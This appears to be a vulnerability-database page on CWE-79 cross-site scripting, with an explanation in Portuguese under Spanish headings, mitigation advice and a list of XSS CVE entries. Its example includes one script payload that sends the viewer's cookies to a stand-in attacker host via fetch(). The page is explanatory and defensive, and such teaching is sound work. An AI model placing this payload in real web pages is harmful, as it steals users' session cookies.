Fallos del tipo CWE-79

30.294 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-32774MEDIUMVulnogram - Stored Cross-Site Scripting via Comment HypertextEPSS 0.3%CVE-2024-49239HIGHWordPress Add Categories Post Footer plugin <= 2.2.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-59666MEDIUMMultiple vulnerabilities in the Repasat applicationEPSS 0.3%CVE-2025-12546MEDIUMLogicalDOC Community Edition API Key creation UI cross site scriptingEPSS 0.3%CVE-2025-44180MEDIUMPhpgurukul Vehicle Record Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /edit-brand.php?bid={brandId}.EPSS 0.3%CVE-2025-5843MEDIUMBrandfolder <= 5.0.19 - Authenticated (Contributor+) Stored Cross-Site Scripting via id ParameterEPSS 0.3%CVE-2025-48095MEDIUMWordPress Survey Maker plugin <= 5.1.8.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-47352HIGHWordPress WP Bulk Delete plugin <= 1.3.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51713HIGHWordPress HQ60 Fidelity Card plugin <= 1.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-28871MEDIUMA logic issue was addressed with improved checks. This issue is fixed in Safari 26.4, iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4EPSS 0.3%CVE-2026-58035NONEStored XSS through a system message in the codex version of Special:BlockEPSS 0.3%CVE-2024-51778HIGHWordPress Satisfaction Reports from Help Scout plugin <= 2.0.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49308HIGHWordPress Animator – Scroll Triggered Animations plugin <= 3.0.15 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51760HIGHWordPress Dashing Memberships plugin <= 1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2019-25371MEDIUMOPNsense 19.1 Reflected XSS via diag_ping.phpEPSS 0.3%CVE-2025-30599MEDIUMWordPress WP Parallax Content Slider plugin <= 0.9.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-52794MEDIUMMagnific lightbox susceptible to Cross-site Scripting in DiscourseEPSS 0.3%CVE-2024-51762HIGHWordPress PropertyShift plugin <= 1.0.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-56223HIGHWordPress Gulri Slider plugin <= 3.5.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-45751MEDIUMSourceCodester Web Based Pharmacy Product Management System 1.0 is vulnerable to Cross Site Scripting (XSS) in add-admin.php via the FullnamEPSS 0.3%